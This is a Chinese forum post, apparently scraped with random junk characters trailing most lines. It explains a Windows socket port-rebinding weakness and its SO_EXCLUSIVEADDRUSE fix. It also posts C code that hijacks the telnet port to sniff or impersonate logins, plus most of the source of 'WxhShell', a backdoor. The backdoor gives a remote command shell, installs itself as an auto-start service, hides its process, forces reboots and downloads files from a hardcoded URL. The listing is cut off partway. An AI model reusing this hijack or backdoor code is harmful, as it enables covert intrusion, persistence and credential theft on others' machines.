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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u~)%tL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D'?]yyrf  
\I xzdFF#  
  saddr.sin_family = AF_INET; Wy,"cT  
w#d} TY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0hZxN2r  
T]X{ @_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f<=^ 4a  
s KCGuw(mh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KF4see;;  
Ei|0L$NCg  
  这意味着什么?意味着可以进行如下的攻击: Deog4Ol"/  
d5q4'6o,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vK`S!7x'&  
I tgH>L'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qf~| S9,  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;<VR2U`  
intvlki]be  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |N6mTB2  
67,3i~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m^c%]5$  
KY 8^BjY@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 = jBL'|k5  
~W/}:;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Bx%=EN5.  
.^GFy   
  #include <M`-`v6H  
  #include "j +v,js  
  #include @p"NJx"  
  #include    hF9B?@n?B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U!_sh<  
  int main() 7~lB}$L  
  { NB3/A"}"02  
  WORD wVersionRequested; Rgs3A)[`d/  
  DWORD ret; yvS^2+jW  
  WSADATA wsaData; &(WE]ziuO  
  BOOL val; ~"RQ!&U  
  SOCKADDR_IN saddr; qY# m*R  
  SOCKADDR_IN scaddr; R$ v i!0  
  int err; _=)!xnYf  
  SOCKET s; ;,FT&|3o  
  SOCKET sc; 7:ckq(89  
  int caddsize; v7g [Lk  
  HANDLE mt; h FDze  
  DWORD tid;   fyGCfM  
  wVersionRequested = MAKEWORD( 2, 2 ); *;Ak5.du  
  err = WSAStartup( wVersionRequested, &wsaData ); @],Z 2  
  if ( err != 0 ) { `2sdZ/fO  
  printf("error!WSAStartup failed!\n"); .k p $oAL  
  return -1; jf2y0W>6s  
  } 8R BDJ  
  saddr.sin_family = AF_INET; }[ 7Nb90v  
   Mn-<51.%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _y|[Z;  
rkbl/py  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5~*=#v:`  
  saddr.sin_port = htons(23); a_xQ~:H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IBzHR[#,^  
  { O5c_\yv=  
  printf("error!socket failed!\n"); EP/&m|o|G  
  return -1; J,6!7a  
  } Bfu/9ad  
  val = TRUE;  KhLg*EL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mi_[9ku>%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9#s,K! !3{  
  { jw%fN!?  
  printf("error!setsockopt failed!\n"); 5ZZd.9ZgM  
  return -1; VvzPQk  
  } sn2r >m3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fYv ;TV>73  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5 1v r^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BW+qp3k\  
[))gn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qu!OV]Cc  
  { ;>cLbjD  
  ret=GetLastError(); gCjH%=s  
  printf("error!bind failed!\n"); R>^5$[  
  return -1; UeFtzty,a  
  } +k# mvPq  
  listen(s,2); 27}.s0{D  
  while(1) 4u7c7K>\Y  
  { m>g}IX&K'  
  caddsize = sizeof(scaddr); *G8'Fjin'T  
  //接受连接请求 Qf/j:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,P;8 }yQ  
  if(sc!=INVALID_SOCKET) %?U"[F1  
  { i.B$?cr~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :zRB)hd  
  if(mt==NULL) c-? Ygr  
  { K'>P!R:El  
  printf("Thread Creat Failed!\n"); l!xgtP K  
  break; ,^UcRZ8.H  
  } bEBZ!ghU  
  } lqhHbB  
  CloseHandle(mt);  /<(R  
  } k9. u[y.  
  closesocket(s); H57jBD  
  WSACleanup(); l6r%nHP@  
  return 0; _:oMyK'  
  }   cL-6M^!a  
  DWORD WINAPI ClientThread(LPVOID lpParam) c%o5 E%  
  { I^6c 0`  
  SOCKET ss = (SOCKET)lpParam; M'pY-/.  
  SOCKET sc; 7{?lEQ&UE  
  unsigned char buf[4096]; BBaHM sr  
  SOCKADDR_IN saddr; sE(X:[Am  
  long num; .D>A'r8U  
  DWORD val; J@=!w[v+  
  DWORD ret; $`cy'ZaF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @B}&62T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Yb,G^+;  
  saddr.sin_family = AF_INET; S(q4OQ B{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^XjvJa  
  saddr.sin_port = htons(23); j@kRv@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0j-F6a*p'1  
  { 1q;I7_{ 2  
  printf("error!socket failed!\n"); 853]CK<  
  return -1; +_vm\]4  
  } ?S;et2f  
  val = 100; ~:'gvR;x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?h>(&H jWV  
  { Gl3 `e&7  
  ret = GetLastError(); =|DkD- O  
  return -1; $i5G7b  
  } @U7U?.p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +btP]?04  
  { *<#]&2I  
  ret = GetLastError(); T%z!+/=&^  
  return -1; L%=BCmMx  
  } ?dATMmT-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X.r!q1_c  
  { +'{:zN5m  
  printf("error!socket connect failed!\n"); 5d!z<{`  
  closesocket(sc); fb;hf:B:  
  closesocket(ss); U O{xpY  
  return -1; ]G$!/vXP  
  } ;NvhL|R  
  while(1) C/grrw  
  { {Hrr:hC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OP\^c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O~c+$(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~a0d .dU  
  num = recv(ss,buf,4096,0); r;5 AY  
  if(num>0) dqK  
  send(sc,buf,num,0); \Ho#[k=y*/  
  else if(num==0) P^o"PKA  
  break; j:\_*f  
  num = recv(sc,buf,4096,0); =qVAvo'  
  if(num>0) 3oNt]2w/'  
  send(ss,buf,num,0); bN<O<x1j  
  else if(num==0) ,sy / r V  
  break; noD7G2o  
  } Tk2&{S"  
  closesocket(ss); 8tB{rK,  
  closesocket(sc); NR@SDW  
  return 0 ; Xj(k(>7V  
  } >ZOZv  
;9- 4J  
U iPVZ@?  
========================================================== f/|a?n2\hm  
!*$'fn'bAA  
下边附上一个代码,,WXhSHELL |x}&wFV  
ek_i{'hFd  
========================================================== 'ra_Zg[j  
OHXeqjhy  
#include "stdafx.h" `04Y ;@w  
YC+ZVp"v  
#include <stdio.h> //@sktHsw(  
#include <string.h> (kD?},Z  
#include <windows.h>  _j?=&tc  
#include <winsock2.h> tL 9e~>,`  
#include <winsvc.h> lj%;d'  
#include <urlmon.h> CH|g   
]'z ^Kt5S  
#pragma comment (lib, "Ws2_32.lib") fjzr8vU}C  
#pragma comment (lib, "urlmon.lib") Ky{I&}+R|  
:O_<K&  
#define MAX_USER   100 // 最大客户端连接数 Yru1@/;  
#define BUF_SOCK   200 // sock buffer ;Ef)7GE@\[  
#define KEY_BUFF   255 // 输入 buffer /ux#U]x  
\ { E;u'F  
#define REBOOT     0   // 重启 bN~'cs8 e  
#define SHUTDOWN   1   // 关机 Q'V,?#  
m'vOFP)'  
#define DEF_PORT   5000 // 监听端口  I$sm5oL  
 MYW 4@#  
#define REG_LEN     16   // 注册表键长度 OYCFx2{  
#define SVC_LEN     80   // NT服务名长度 ,4?|}xg  
YfYL?G  
// 从dll定义API u8)r W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;z=C^'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^SelqX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6!Ap;O^*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yW7S }I  
Z6HkQ=A64  
// wxhshell配置信息 . KSr@Gz  
struct WSCFG { (\[!,T"[  
  int ws_port;         // 监听端口 >0G}, S  
  char ws_passstr[REG_LEN]; // 口令 $y |6<  
  int ws_autoins;       // 安装标记, 1=yes 0=no s(DaPhL6Qm  
  char ws_regname[REG_LEN]; // 注册表键名 2%, ' }Bus  
  char ws_svcname[REG_LEN]; // 服务名 Y3F.hk}O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 41_sSqq;^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,t,65@3+b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K,T]Fuy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X+G*Q}5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nCmrt*&}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d~oWu [F*  
Ns] 9-D  
}; b J5z??  
FWx*&y~$  
// default Wxhshell configuration MjeI?k}LJ  
struct WSCFG wscfg={DEF_PORT, 0 GLB3I >  
    "xuhuanlingzhe", b`%e{99\  
    1, Xf/<.5A  
    "Wxhshell", 7|?@\ZE  
    "Wxhshell", [,V92-s;N  
            "WxhShell Service", $/sZYsN~T  
    "Wrsky Windows CmdShell Service", Q\th8/ /  
    "Please Input Your Password: ", zAdVJ58H  
  1, ? Gu_UW  
  "http://www.wrsky.com/wxhshell.exe", {?M*ZRO'  
  "Wxhshell.exe" Jd_1>p  
    }; +,w|&y  
Hr.JZ>~<  
// 消息定义模块 e Eb1R}@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F1]PYx$X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YSUH*i/%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pzp"NKx i  
char *msg_ws_ext="\n\rExit."; J ##X5'a3*  
char *msg_ws_end="\n\rQuit."; 'S-"*:$,u  
char *msg_ws_boot="\n\rReboot..."; }qX&*DU_@  
char *msg_ws_poff="\n\rShutdown..."; 74N\G1  
char *msg_ws_down="\n\rSave to "; pt;Sk?-1  
W}i$f -K  
char *msg_ws_err="\n\rErr!"; m&vYZ3vK[  
char *msg_ws_ok="\n\rOK!"; ~.=!5Ry  
i: uA&9  
char ExeFile[MAX_PATH]; [==Z1Q;=  
int nUser = 0; u+T, n  
HANDLE handles[MAX_USER]; SCC/ <o  
int OsIsNt; $ }bC$?^  
*j;r|P;g  
SERVICE_STATUS       serviceStatus; YuW\GSV00  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g?Ty5~:lq  
YQd&rkr  
// 函数声明 F n Rxc  
int Install(void); _ r)hr7  
int Uninstall(void); [ ESQD5&  
int DownloadFile(char *sURL, SOCKET wsh); o sH,(\4_  
int Boot(int flag); @(5RAYRV  
void HideProc(void); #NxvLW/  
int GetOsVer(void); u,k8i:JY  
int Wxhshell(SOCKET wsl); v=^)`C6Ma  
void TalkWithClient(void *cs); ;SP3nU))  
int CmdShell(SOCKET sock); ZQ8Aak  
int StartFromService(void); tm#y `1-  
int StartWxhshell(LPSTR lpCmdLine);  JS.' v7  
43]&SXprH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oU6g5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yodrX&"  
K#yH\fn8  
// 数据结构和表定义 Sk%|-T(d$  
SERVICE_TABLE_ENTRY DispatchTable[] = eEFT(e5.>3  
{ <p8y'KAlc  
{wscfg.ws_svcname, NTServiceMain}, E8 )*HOT_T  
{NULL, NULL} Wm/k(R`O<  
}; a{6|[a R  
tHo/uW_~I  
// 自我安装 c8W=Is`  
int Install(void) ;]ew>P)  
{ P"VLGa  
  char svExeFile[MAX_PATH]; 4r!40^:2  
  HKEY key; FNO lR>0e  
  strcpy(svExeFile,ExeFile); Vp94mi#L }  
1T`"/*!  
// 如果是win9x系统,修改注册表设为自启动 q/ zdd3a  
if(!OsIsNt) { 'hWRwP|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D1/$pA+B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =jHy6)6w  
  RegCloseKey(key); >U.uRq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8#AXK{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PUo&>  
  RegCloseKey(key); . 2Q/D?a  
  return 0; q+Q)IVaU81  
    } ,g.=vQm:?  
  } h2snGN/{Hb  
} k9?+9bExXA  
else { 40ZB;j$l  
sP8B?Tn1W  
// 如果是NT以上系统,安装为系统服务 ^9E(8DD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !(o2K!v0  
if (schSCManager!=0) (\ %y)  
{ JC3)G/m(03  
  SC_HANDLE schService = CreateService (q7mzZY  
  ( v#G ^W  
  schSCManager, $cCB%}  
  wscfg.ws_svcname, a#$%xw  
  wscfg.ws_svcdisp, 'IszS!kY  
  SERVICE_ALL_ACCESS, mY9K)]8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , } 4^UVdz  
  SERVICE_AUTO_START, >{8H==P  
  SERVICE_ERROR_NORMAL, ~;` #{$/C&  
  svExeFile, 6dlPS{H#U  
  NULL, zD|W3hL2&  
  NULL, =jh:0Q<43+  
  NULL, upKrr  
  NULL, aPgG+tu  
  NULL $Q4b~  
  ); RT9@&5>il  
  if (schService!=0) @e/dQ:Fb  
  { g?sFmD  
  CloseServiceHandle(schService); 2 {0VyLx  
  CloseServiceHandle(schSCManager); ,|/$|$'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); omu&:) g  
  strcat(svExeFile,wscfg.ws_svcname); WDR!e2G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $4]PN2d&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >i<-rO>kN  
  RegCloseKey(key); 9x\G(w  
  return 0; ozG:f*{T  
    } eU0-_3gN_  
  } [5-5tipvWp  
  CloseServiceHandle(schSCManager); yFqC-t-i  
} gw^+[}U#  
} ~E~J*R Ze  
^DOcw@Z6HC  
return 1; FW,D\51pTP  
} Y@eUvz  
,vj^AXU  
// 自我卸载 /zKuVaC  
int Uninstall(void) .S;/v--F  
{ RCr:2 Iz  
  HKEY key; i :72FVo  
\8ZNXCP  
if(!OsIsNt) { )2S\:&x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w8Yff[o  
  RegDeleteValue(key,wscfg.ws_regname); :h@:F7N _  
  RegCloseKey(key); ?9cy5z[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ai RNd~\  
  RegDeleteValue(key,wscfg.ws_regname); ~r3g~MCHS  
  RegCloseKey(key); mLO6`]p{H  
  return 0; )ej8vm  
  } ^=j$~*(LmX  
} lVHJ}(<'p  
} WP9=@X Z  
else { z7o5 9&  
o-_ a0j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -u{:39y{n  
if (schSCManager!=0) Z)~ 2{)  
{ _JS'~ JO3{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &V$R@~x  
  if (schService!=0) $}@l l^  
  { h?sh#j6  
  if(DeleteService(schService)!=0) { c-F&4V  
  CloseServiceHandle(schService); >8so'7(  
  CloseServiceHandle(schSCManager); YuZnuI@m9  
  return 0; )C[8#Q-:  
  } ]Az >W*Y  
  CloseServiceHandle(schService); QG.FW;/L,  
  } v*pVcBY>  
  CloseServiceHandle(schSCManager); 9viC3bj.o  
} "rtmDNpL  
} 3h&s=e!  
H{8\<E:V+}  
return 1; X9J^Olq  
} -oj@ c OZ  
x8[8z^BV?e  
// 从指定url下载文件 ?(z3/ "g]  
int DownloadFile(char *sURL, SOCKET wsh) _kS us  
{ }PVB+i M  
  HRESULT hr; P<1zXs.H  
char seps[]= "/"; F`l1I=;  
char *token; Nf1l{N  
char *file; 7@\iBmr6  
char myURL[MAX_PATH]; ,aeFEsi  
char myFILE[MAX_PATH]; q!n|Ju<  
4{V=X3,x  
strcpy(myURL,sURL); <Ip}uy[Y  
  token=strtok(myURL,seps); O;~1M3Ii  
  while(token!=NULL) *7ox_ R@  
  { P&K~wP]  
    file=token; Rs dACP   
  token=strtok(NULL,seps); b3ZPlLx6  
  } ?^5x d1>E  
<q|19fH-5  
GetCurrentDirectory(MAX_PATH,myFILE); :3k(=^%G!  
strcat(myFILE, "\\"); JW$#~"@r  
strcat(myFILE, file); )9$Xfq/  
  send(wsh,myFILE,strlen(myFILE),0); AbB%osz}Ed  
send(wsh,"...",3,0); >.A{=?   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2&M 8Wb#  
  if(hr==S_OK) UX6-{ RP  
return 0; I'";  
else u}$?r\H'(  
return 1; C..O_Zn{g  
yR&E6o.$z  
} 0R.@\?bhL  
+ad 2  
// 系统电源模块 U;_ ;_  
int Boot(int flag) g)zy^ aDf  
{ I$YF55uB  
  HANDLE hToken; n%Fa;!S  
  TOKEN_PRIVILEGES tkp; \(Iy>L.  
Ut<_D8Tzx  
  if(OsIsNt) { 3KGDS9I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _\[Zr.y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3Cpix,Dc  
    tkp.PrivilegeCount = 1; 5i0<BZDTef  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B!:(*lF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _M?:N:e  
if(flag==REBOOT) { }Vt5].TA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n[<Vj1n  
  return 0; {d) +a$qj  
} {2,V3*NF  
else { LWY`J0/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TR#5V@e.m  
  return 0; K jLj  
} '+$2<Ys  
  } 5)}xqE"x  
  else { 1iUy*p65:  
if(flag==REBOOT) {  @>BFhH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^T^fowt=r  
  return 0; M$w^g8F27H  
} aw(P@9]  
else { $ _ gMJ\{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GDk/85cv0$  
  return 0; X{)M}WO+r  
} 2D "mq~ V  
} ^uYxeQY[  
~q<U E\H  
return 1; TygR G+G-  
} >8ePx,+!  
KNV$9&Z  
// win9x进程隐藏模块 @+\OoOK<L  
void HideProc(void) $v+g3+7  
{ X/?3ifP6I  
L./UgeZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &cZD{Z  
  if ( hKernel != NULL ) K%S k{'  
  { vHWw*gg(/E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x ha!.&DO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .*8.{n5   
    FreeLibrary(hKernel); }lhJt|qc  
  } /q8n_NR  
\OOj]gAe  
return; vQA: \!  
} tvP"t{C6,  
JTx&_Ok#  
// 获取操作系统版本 /QTGZ b  
int GetOsVer(void) ~dC^|  
{ )5B90[M|t  
  OSVERSIONINFO winfo; ) ~X\W\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pmfyvkLS  
  GetVersionEx(&winfo); C0'Tua'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U:ZklDW  
  return 1; #\w~(Nm-  
  else Rf7py)  
  return 0; ^}9Aq $R  
} [~ fJ/  
vQztD _bX%  
// 客户端句柄模块 `6UW?1_Z5  
int Wxhshell(SOCKET wsl) \ ddbqg?`  
{ *&LVn)@[`  
  SOCKET wsh; Up`zVN59.  
  struct sockaddr_in client; ]U]{5AA6  
  DWORD myID; gg5`\}  
i4AmNRs  
  while(nUser<MAX_USER) C5F}*]E[y  
{ k pEES{f  
  int nSize=sizeof(client); >pr{)bp G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xEGI'lt  
  if(wsh==INVALID_SOCKET) return 1; w<5w?nP+Oh  
7|\[ipVX:3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^oM*f{9  
if(handles[nUser]==0) +b 1lCa_  
  closesocket(wsh); aM~M@wS  
else <vOljo  
  nUser++; wOINcEdx  
  } EY':m_7W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6M F%$K3  
8xlj:5;(w  
  return 0; l1a=r:WhH  
} ~,.Agx  
TR| G4l?  
// 关闭 socket % `\8z  
void CloseIt(SOCKET wsh) om|M=/^  
{ yjc:+Y{5'  
closesocket(wsh); !\^c9Pg|v  
nUser--; e%#9|/uP  
ExitThread(0); Bm1yBKjO  
} 3Cq17A 9  
(',G Ako  
// 客户端请求句柄 rJ K~kKG  
void TalkWithClient(void *cs) &!a[rvtZ+  
{ Jt@7y"<  
gQh;4v  
  SOCKET wsh=(SOCKET)cs; [[ H XOPaV  
  char pwd[SVC_LEN]; )9==6p  
  char cmd[KEY_BUFF]; DtR-NzjB  
char chr[1]; pJ1GB  
int i,j; uG~%/7Qt{  
'Q?nU^:F#  
  while (nUser < MAX_USER) { 5Y JLR;  
Lr_+) l  
if(wscfg.ws_passstr) { @zW'!Ol  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d2Bn`VI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1P@&xcvS\  
  //ZeroMemory(pwd,KEY_BUFF); =D<46T=(RB  
      i=0; "3W!p+W  
  while(i<SVC_LEN) { E:L =>}  
^7V9\Q9  
  // 设置超时 VWaI!bK  
  fd_set FdRead; UIIR$,XB  
  struct timeval TimeOut; 3L/>=I{5  
  FD_ZERO(&FdRead); JmtU>2z\  
  FD_SET(wsh,&FdRead); j 8YMod=  
  TimeOut.tv_sec=8; K>"M# T  
  TimeOut.tv_usec=0; \,oT(p4N%M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x4Y+?2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GjfY   
?&j[Rj0pH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JstX# z  
  pwd=chr[0]; 6uOR0L  
  if(chr[0]==0xd || chr[0]==0xa) {  0'%R@|  
  pwd=0; [_#9PH33  
  break; O\-cLI<h2  
  } 48Z{wV,  
  i++; W1iKn  
    } IX,/ZOZ|  
<$K%u?  
  // 如果是非法用户,关闭 socket zH.DyD5T;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SzMh}xDh2  
} <{JHFU`^  
A !x" *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ym{?vY h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W:ih#YW_F  
@_YlHe&W  
while(1) { -H#{[M8xX  
D/"[/!  
  ZeroMemory(cmd,KEY_BUFF); ej]^VS7w[r  
!Z`~=n3bk  
      // 自动支持客户端 telnet标准   :OUNZDL  
  j=0; .TSj8,  
  while(j<KEY_BUFF) { n'U*8ID  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "9>~O`l,  
  cmd[j]=chr[0]; fr4#< 6,  
  if(chr[0]==0xa || chr[0]==0xd) { Yy@;U]R  
  cmd[j]=0; a{mtG{Wc  
  break; VX2 KE@  
  } 1.4]T, `  
  j++; /#GX4&z  
    } JnlM0jc]`  
&>ii2% 4  
  // 下载文件 !LVWggk1  
  if(strstr(cmd,"http://")) { P*BA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e%afK@c  
  if(DownloadFile(cmd,wsh)) 9N:Bu'j&/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u I}S9  
  else m>yk4@a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y4tM0h  
  } G!C2[:[g  
  else { BOQ2;@:3  
tz4MT_f  
    switch(cmd[0]) { Vr D?[&2pE  
  n{6XtIoYq  
  // 帮助 6@t4pML  
  case '?': { h7)^$Hd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .DMeW i  
    break; R#"kh/M  
  } s7A{<>:  
  // 安装 /QZnN?k  
  case 'i': { 3?|Fn8dQR.  
    if(Install()) $6L gaz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hc4<`W{  
    else b'pbf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S#8wnHq  
    break;  Xai ,  
    } CS)&A4`8  
  // 卸载 (wdE@/V  
  case 'r': { @F]6[  
    if(Uninstall()) tKjPLi71  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}c1zpa  
    else [=z1~dXKb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >0k7#q}O  
    break; 7hZCh,O  
    } bae .?+0[  
  // 显示 wxhshell 所在路径 Z3<>Z\6D  
  case 'p': { #UG|\}Lp  
    char svExeFile[MAX_PATH]; o3P`y:&  
    strcpy(svExeFile,"\n\r"); Qr Dzf e[  
      strcat(svExeFile,ExeFile); Kn SXygT  
        send(wsh,svExeFile,strlen(svExeFile),0); O8(;=exA  
    break; 1mm/Ssw:C  
    } OmQSNU.our  
  // 重启 UO47XAO  
  case 'b': { TG8QT\0G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UTGR{>=>  
    if(Boot(REBOOT)) wj!p6D;;S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #O6SEK|Z  
    else { @>,3l;\Zh  
    closesocket(wsh); "^u  
    ExitThread(0); rk*Igqf  
    } Q#wASd.  
    break; _iLXs  
    } X aW@CW  
  // 关机 ~O;!y%  
  case 'd': { ;{ u{F L  
